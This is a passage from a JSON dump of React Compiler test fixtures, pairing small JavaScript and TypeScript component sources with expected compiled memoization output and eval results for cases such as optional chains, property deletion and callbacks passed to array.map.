    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  const x = makeObject();\n  const y = delete x.value;\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  const x = makeObject();\n  const y = delete x.value;\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  const x = makeObject();\n  const y = delete x.value;\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({a}) {\n  let x = [];\n  x.push(a?.b.c?.d.e);\n  x.push(a.b?.c.d?.e);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: null},\n    {a: {}},\n    {a: {b: {c: {d: {e: 42}}}}},\n    {a: {b: {c: {d: {e: 43}}}}},\n    {a: {b: {c: {d: {e: undefined}}}}},\n    {a: {b: undefined}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let x;\n  if ($[0] !== a.b.c.d.e) {\n    x = [];\n    x.push(a?.b.c?.d.e);\n    x.push(a.b?.c.d?.e);\n    $[0] = a.b.c.d.e;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [\n    { a: null },\n    { a: null },\n    { a: {} },\n    { a: { b: { c: { d: { e: 42 } } } } },\n    { a: { b: { c: { d: { e: 43 } } } } },\n    { a: { b: { c: { d: { e: undefined } } } } },\n    { a: { b: undefined } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]\n[42,42]\n[43,43]\n[null,null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.ts",
    "content": "function useFoo({a}) {\n  let x = [];\n  x.push(a?.b.c?.d.e);\n  x.push(a.b?.c.d?.e);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: null},\n    {a: {}},\n    {a: {b: {c: {d: {e: 42}}}}},\n    {a: {b: {c: {d: {e: 43}}}}},\n    {a: {b: {c: {d: {e: undefined}}}}},\n    {a: {b: undefined}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// This component is skipped bc it doesn't call any hooks or\n// use JSX:\nfunction Component(props) {\n  return render();\n}\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// This component is skipped bc it doesn't call any hooks or\n// use JSX:\nfunction Component(props) {\n  return render();\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-skip-components-without-hooks-or-jsx.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\n// This component is skipped bc it doesn't call any hooks or\n// use JSX:\nfunction Component(props) {\n  return render();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nimport {getNumber} from 'shared-runtime';\n\nfunction Component(props) {\n  // We can infer that `x` is a primitive bc it is aliased to `y`,\n  // which is used in a binary expression\n  const x = getNumber();\n  const y = (x: any);\n  y + 1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { getNumber } from \"shared-runtime\";\n\nfunction Component(props) {\n  const x = getNumber();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 4"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-types-through-type-cast.flow.js",
    "content": "// @flow\nimport {getNumber} from 'shared-runtime';\n\nfunction Component(props) {\n  // We can infer that `x` is a primitive bc it is aliased to `y`,\n  // which is used in a binary expression\n  const x = getNumber();\n  const y = (x: any);\n  y + 1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Forked from array-map-simple.js\n *\n * Named lambdas (e.g. cb1) may be defined in the top scope of a function and\n * used in a different lambda (getArrMap1).\n *\n * Here, we should try to determine if cb1 is actually called. In this case:\n * - getArrMap1 is assumed to be called as it's passed to JSX\n * - cb1 is not assumed to be called since it's only used as a call operand\n */\nfunction useFoo({arr1, arr2}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const getArrMap1 = () => arr1.map(cb1);\n  const cb2 = e => arr2[0].value + e.value;\n  const getArrMap2 = () => arr1.map(cb2);\n  return (\n    <Stringify\n      getArrMap1={getArrMap1}\n      getArrMap2={getArrMap2}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\n/**\n * Forked from array-map-simple.js\n *\n * Named lambdas (e.g. cb1) may be defined in the top scope of a function and\n * used in a different lambda (getArrMap1).\n *\n * Here, we should try to determine if cb1 is actually called. In this case:\n * - getArrMap1 is assumed to be called as it's passed to JSX\n * - cb1 is not assumed to be called since it's only used as a call operand\n */\nfunction useFoo(t0) {\n  const $ = _c(13);\n  const { arr1, arr2 } = t0;\n  let t1;\n  if ($[0] !== arr1[0]) {\n    t1 = (e) => arr1[0].value + e.value;\n    $[0] = arr1[0];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb1 = t1;\n  let t2;\n  if ($[2] !== arr1 || $[3] !== cb1) {\n    t2 = () => arr1.map(cb1);\n    $[2] = arr1;\n    $[3] = cb1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  const getArrMap1 = t2;\n  let t3;\n  if ($[5] !== arr2) {\n    t3 = (e_0) => arr2[0].value + e_0.value;\n    $[5] = arr2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const cb2 = t3;\n  let t4;\n  if ($[7] !== arr1 || $[8] !== cb2) {\n    t4 = () => arr1.map(cb2);\n    $[7] = arr1;\n    $[8] = cb2;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const getArrMap2 = t4;\n  let t5;\n  if ($[10] !== getArrMap1 || $[11] !== getArrMap2) {\n    t5 = (\n      <Stringify\n        getArrMap1={getArrMap1}\n        getArrMap2={getArrMap2}\n        shouldInvokeFns={true}\n      />\n    );\n    $[10] = getArrMap1;\n    $[11] = getArrMap2;\n    $[12] = t5;\n  } else {\n    t5 = $[12];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ arr1: [], arr2: [] }],\n  sequentialRenders: [\n    { arr1: [], arr2: [] },\n    { arr1: [], arr2: null },\n    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"getArrMap1\":{\"kind\":\"Function\",\"result\":[]},\"getArrMap2\":{\"kind\":\"Function\",\"result\":[]},\"shouldInvokeFns\":true}</div>\n<div>{\"getArrMap1\":{\"kind\":\"Function\",\"result\":[]},\"getArrMap2\":{\"kind\":\"Function\",\"result\":[]},\"shouldInvokeFns\":true}</div>\n<div>{\"getArrMap1\":{\"kind\":\"Function\",\"result\":[2,3]},\"getArrMap2\":{\"kind\":\"Function\",\"result\":[0,1]},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback-cross-context.js",
    "content": "import {Stringify} from 'shared-runtime';\n\n/**\n * Forked from array-map-simple.js\n *\n * Named lambdas (e.g. cb1) may be defined in the top scope of a function and\n * used in a different lambda (getArrMap1).\n *\n * Here, we should try to determine if cb1 is actually called. In this case:\n * - getArrMap1 is assumed to be called as it's passed to JSX\n * - cb1 is not assumed to be called since it's only used as a call operand\n */\nfunction useFoo({arr1, arr2}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const getArrMap1 = () => arr1.map(cb1);\n  const cb2 = e => arr2[0].value + e.value;\n  const getArrMap2 = () => arr1.map(cb2);\n  return (\n    <Stringify\n      getArrMap1={getArrMap1}\n      getArrMap2={getArrMap2}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Forked from array-map-simple.js\n *\n * Whether lambdas are named or passed inline shouldn't affect whether we expect\n * it to be called.\n */\nfunction useFoo({arr1, arr2}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const x = arr1.map(cb1);\n  const cb2 = e => arr2[0].value + e.value;\n  const y = arr1.map(cb2);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Forked from array-map-simple.js\n *\n * Whether lambdas are named or passed inline shouldn't affect whether we expect\n * it to be called.\n */\nfunction useFoo(t0) {\n  const $ = _c(13);\n  const { arr1, arr2 } = t0;\n  let t1;\n  if ($[0] !== arr1[0]) {\n    t1 = (e) => arr1[0].value + e.value;\n    $[0] = arr1[0];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb1 = t1;\n  let t2;\n  if ($[2] !== arr1 || $[3] !== cb1) {\n    t2 = arr1.map(cb1);\n    $[2] = arr1;\n    $[3] = cb1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  const x = t2;\n  let t3;\n  if ($[5] !== arr2) {\n    t3 = (e_0) => arr2[0].value + e_0.value;\n    $[5] = arr2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const cb2 = t3;\n  let t4;\n  if ($[7] !== arr1 || $[8] !== cb2) {\n    t4 = arr1.map(cb2);\n    $[7] = arr1;\n    $[8] = cb2;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const y = t4;\n  let t5;\n  if ($[10] !== x || $[11] !== y) {\n    t5 = [x, y];\n    $[10] = x;\n    $[11] = y;\n    $[12] = t5;\n  } else {\n    t5 = $[12];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ arr1: [], arr2: [] }],\n  sequentialRenders: [\n    { arr1: [], arr2: [] },\n    { arr1: [], arr2: null },\n    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],[]]\n[[],[]]\n[[2,3],[0,1]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-callback.js",
    "content": "/**\n * Forked from array-map-simple.js\n *\n * Whether lambdas are named or passed inline shouldn't affect whether we expect\n * it to be called.\n */\nfunction useFoo({arr1, arr2}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const x = arr1.map(cb1);\n  const cb2 = e => arr2[0].value + e.value;\n  const y = arr1.map(cb2);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Forked from array-map-simple.js\n *\n * Here, getVal1 has a known callsite in `cb1`, but `cb1` isn't known to be\n * called (it's only passed to array.map). In this case, we should be\n * conservative and assume that all named lambdas are conditionally called.\n */\nfunction useFoo({arr1, arr2}) {\n  const getVal1 = () => arr1[0].value;\n  const cb1 = e => getVal1() + e.value;\n  const x = arr1.map(cb1);\n  const getVal2 = () => arr2[0].value;\n  const cb2 = e => getVal2() + e.value;\n  const y = arr1.map(cb2);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Forked from array-map-simple.js\n *\n * Here, getVal1 has a known callsite in `cb1`, but `cb1` isn't known to be\n * called (it's only passed to array.map). In this case, we should be\n * conservative and assume that all named lambdas are conditionally called.\n */\nfunction useFoo(t0) {\n  const $ = _c(13);\n  const { arr1, arr2 } = t0;\n  let t1;\n  if ($[0] !== arr1[0]) {\n    const getVal1 = () => arr1[0].value;\n    t1 = (e) => getVal1() + e.value;\n    $[0] = arr1[0];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb1 = t1;\n  let t2;\n  if ($[2] !== arr1 || $[3] !== cb1) {\n    t2 = arr1.map(cb1);\n    $[2] = arr1;\n    $[3] = cb1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  const x = t2;\n  let t3;\n  if ($[5] !== arr2) {\n    const getVal2 = () => arr2[0].value;\n    t3 = (e_0) => getVal2() + e_0.value;\n    $[5] = arr2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const cb2 = t3;\n  let t4;\n  if ($[7] !== arr1 || $[8] !== cb2) {\n    t4 = arr1.map(cb2);\n    $[7] = arr1;\n    $[8] = cb2;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const y = t4;\n  let t5;\n  if ($[10] !== x || $[11] !== y) {\n    t5 = [x, y];\n    $[10] = x;\n    $[11] = y;\n    $[12] = t5;\n  } else {\n    t5 = $[12];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ arr1: [], arr2: [] }],\n  sequentialRenders: [\n    { arr1: [], arr2: [] },\n    { arr1: [], arr2: null },\n    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],[]]\n[[],[]]\n[[2,3],[0,1]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-named-chained-callbacks.js",
    "content": "/**\n * Forked from array-map-simple.js\n *\n * Here, getVal1 has a known callsite in `cb1`, but `cb1` isn't known to be\n * called (it's only passed to array.map). In this case, we should be\n * conservative and assume that all named lambdas are conditionally called.\n */\nfunction useFoo({arr1, arr2}) {\n  const getVal1 = () => arr1[0].value;\n  const cb1 = e => getVal1() + e.value;\n  const x = arr1.map(cb1);\n  const getVal2 = () => arr2[0].value;\n  const cb2 = e => getVal2() + e.value;\n  const y = arr1.map(cb2);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Test that we're not hoisting property reads from lambdas that are created to\n * pass to opaque functions, which often have maybe-invoke semantics.\n *\n * In this example, we shouldn't hoist `arr[0].value` out of the lambda.\n * ```js\n * e => arr[0].value + e.value  <-- created to pass to map\n * arr.map(<cb>)                <-- argument only invoked if array is non-empty\n * ```\n */\nfunction useFoo({arr1, arr2}) {\n  const x = arr1.map(e => arr1[0].value + e.value);\n  const y = arr1.map(e => arr2[0].value + e.value);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Test that we're not hoisting property reads from lambdas that are created to\n * pass to opaque functions, which often have maybe-invoke semantics.\n *\n * In this example, we shouldn't hoist `arr[0].value` out of the lambda.\n * ```js\n * e => arr[0].value + e.value  <-- created to pass to map\n * arr.map(<cb>)                <-- argument only invoked if array is non-empty\n * ```\n */\nfunction useFoo(t0) {\n  const $ = _c(12);\n  const { arr1, arr2 } = t0;\n  let t1;\n  if ($[0] !== arr1) {\n    let t2;\n    if ($[2] !== arr1[0]) {\n      t2 = (e) => arr1[0].value + e.value;\n      $[2] = arr1[0];\n      $[3] = t2;\n    } else {\n      t2 = $[3];\n    }\n    t1 = arr1.map(t2);\n    $[0] = arr1;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let t2;\n  if ($[4] !== arr1 || $[5] !== arr2) {\n    let t3;\n    if ($[7] !== arr2) {\n      t3 = (e_0) => arr2[0].value + e_0.value;\n      $[7] = arr2;\n      $[8] = t3;\n    } else {\n      t3 = $[8];\n    }\n    t2 = arr1.map(t3);\n    $[4] = arr1;\n    $[5] = arr2;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  const y = t2;\n  let t3;\n  if ($[9] !== x || $[10] !== y) {\n    t3 = [x, y];\n    $[9] = x;\n    $[10] = y;\n    $[11] = t3;\n  } else {\n    t3 = $[11];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ arr1: [], arr2: [] }],\n  sequentialRenders: [\n    { arr1: [], arr2: [] },\n    { arr1: [], arr2: null },\n    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],[]]\n[[],[]]\n[[2,3],[0,1]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/array-map-simple.js",
    "content": "/**\n * Test that we're not hoisting property reads from lambdas that are created to\n * pass to opaque functions, which often have maybe-invoke semantics.\n *\n * In this example, we shouldn't hoist `arr[0].value` out of the lambda.\n * ```js\n * e => arr[0].value + e.value  <-- created to pass to map\n * arr.map(<cb>)                <-- argument only invoked if array is non-empty\n * ```\n */\nfunction useFoo({arr1, arr2}) {\n  const x = arr1.map(e => arr1[0].value + e.value);\n  const y = arr1.map(e => arr2[0].value + e.value);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const logA = () => {\n    console.log(a.value);\n  };\n  const logB = () => {\n    console.log(b.value);\n  };\n  const hasLogged = useRef(false);\n  const log = () => {\n    if (!hasLogged.current) {\n      logA();\n      logB();\n      hasLogged.current = true;\n    }\n  };\n  return <Stringify log={log} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {value: 1}, b: {value: 2}}],\n  sequentialRenders: [\n    {a: {value: 1}, b: {value: 2}},\n    {a: {value: 3}, b: {value: 4}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a.value) {\n    t1 = () => {\n      console.log(a.value);\n    };\n    $[0] = a.value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const logA = t1;\n  let t2;\n  if ($[2] !== b.value) {\n    t2 = () => {\n      console.log(b.value);\n    };\n    $[2] = b.value;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const logB = t2;\n\n  const hasLogged = useRef(false);\n  let t3;\n  if ($[4] !== logA || $[5] !== logB) {\n    const log = () => {\n      if (!hasLogged.current) {\n        logA();\n        logB();\n        hasLogged.current = true;\n      }\n    };\n    t3 = <Stringify log={log} shouldInvokeFns={true} />;\n    $[4] = logA;\n    $[5] = logB;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: { value: 1 }, b: { value: 2 } }],\n  sequentialRenders: [\n    { a: { value: 1 }, b: { value: 2 } },\n    { a: { value: 3 }, b: { value: 4 } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"log\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\n<div>{\"log\":{\"kind\":\"Function\"},\"shouldInvokeFns\":true}</div>\nlogs: [1,2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call-chain.tsx",
    "content": "import {useRef} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const logA = () => {\n    console.log(a.value);\n  };\n  const logB = () => {\n    console.log(b.value);\n  };\n  const hasLogged = useRef(false);\n  const log = () => {\n    if (!hasLogged.current) {\n      logA();\n      logB();\n      hasLogged.current = true;\n    }\n  };\n  return <Stringify log={log} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {value: 1}, b: {value: 2}}],\n  sequentialRenders: [\n    {a: {value: 1}, b: {value: 2}},\n    {a: {value: 3}, b: {value: 4}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\n/**\n * Assume that conditionally called functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback({obj}: {obj: {value: number}}) {\n  const [state, setState] = useState(0);\n  const cb = () => {\n    if (obj.value !== 0) setState(obj.value);\n  };\n  useIdentity(null);\n  if (state === 0) {\n    cb();\n  }\n  return {cb};\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\nimport { useIdentity } from \"shared-runtime\";\n\n/**\n * Assume that conditionally called functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback(t0) {\n  const $ = _c(4);\n  const { obj } = t0;\n  const [state, setState] = useState(0);\n  let t1;\n  if ($[0] !== obj.value) {\n    t1 = () => {\n      if (obj.value !== 0) {\n        setState(obj.value);\n      }\n    };\n    $[0] = obj.value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb = t1;\n\n  useIdentity(null);\n  if (state === 0) {\n    cb();\n  }\n  let t2;\n  if ($[2] !== cb) {\n    t2 = { cb };\n    $[2] = cb;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{ obj: { value: 1 } }],\n  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"cb\":\"[[ function params=0 ]]\"}\n{\"cb\":\"[[ function params=0 ]]\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditional-call.ts",
    "content": "import {useState} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\n/**\n * Assume that conditionally called functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback({obj}: {obj: {value: number}}) {\n  const [state, setState] = useState(0);\n  const cb = () => {\n    if (obj.value !== 0) setState(obj.value);\n  };\n  useIdentity(null);\n  if (state === 0) {\n    cb();\n  }\n  return {cb};\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\n\n/**\n * Assume that conditionally returned functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback({\n  obj,\n  shouldMakeCb,\n  setState,\n}: {\n  obj: {value: number};\n  shouldMakeCb: boolean;\n  setState: (newState: number) => void;\n}) {\n  const cb = () => setState(obj.value);\n  if (shouldMakeCb) return cb;\n  else return null;\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, shouldMakeCb: true, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, shouldMakeCb: true, setState},\n    {obj: {value: 2}, shouldMakeCb: true, setState},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\n\n/**\n * Assume that conditionally returned functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback(t0) {\n  const $ = _c(3);\n  const { obj, shouldMakeCb, setState } = t0;\n  let t1;\n  if ($[0] !== obj.value || $[1] !== setState) {\n    t1 = () => setState(obj.value);\n    $[0] = obj.value;\n    $[1] = setState;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const cb = t1;\n  if (shouldMakeCb) {\n    return cb;\n  } else {\n    return null;\n  }\n}\n\nconst setState = (arg: number) => {\n  \"use no memo\";\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{ obj: { value: 1 }, shouldMakeCb: true, setState }],\n  sequentialRenders: [\n    { obj: { value: 1 }, shouldMakeCb: true, setState },\n    { obj: { value: 2 }, shouldMakeCb: true, setState },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"result\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/conditionally-return-fn.ts",
